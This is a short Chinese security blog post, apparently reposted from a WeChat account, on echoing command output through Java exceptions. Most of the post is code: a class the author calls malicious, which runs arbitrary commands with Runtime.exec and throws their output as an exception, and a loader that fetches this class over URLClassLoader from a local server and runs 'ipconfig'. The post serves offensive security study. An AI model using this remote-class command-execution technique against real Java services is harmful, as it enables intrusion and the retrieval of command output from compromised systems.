JAVA异常回显研究

admin 2022年5月12日00:53:13评论44 views字数 1054阅读3分30秒阅读模式

JAVA异常回显研究

扫一扫关注公众号,长期致力于安全研究JAVA异常回显研究



0x01  前言

水一篇文章....大佬勿喷....好久没更了


0x02 代码实现

首先来看如下代码,其构造传入字符串,就可以作为命令执行。与之不同的是最后回显信息通过了throw抛出异常的方式来显示

JAVA异常回显研究

public URLClassTest(String name) throws Exception {    Process process = Runtime.getRuntime().exec(name);    InputStream stream = process.getInputStream();    InputStreamReader inputStreamReader = new InputStreamReader(stream,Charset.forName("gbk"));    BufferedReader bufferedReader = new BufferedReader(inputStreamReader);    StringBuffer buf = new StringBuffer();    String line = null;    while( (line = bufferedReader.readLine())!=null){        buf.append(line+"n");    }
throw new Exception(buf.toString());}
之后本人通过URLClassloader的方式进行加载该恶意类
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {        URLClassLoader classLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1/")});        Class cls = classLoader.loadClass("URLClassTest");        Constructor obj = cls.getDeclaredConstructor(String.class);        obj.newInstance("ipconfig");    }
    可以看到命令成功输出

JAVA异常回显研究





11111
微信搜索关注 "安全族" 长期致力于安全研究


下方扫一下扫,即可关注JAVA异常回显研究

JAVA异常回显研究






原文始发于微信公众号(安全族):JAVA异常回显研究

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月12日00:53:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA异常回显研究https://cn-sec.com/archives/999559.html

发表评论

匿名网友 填写信息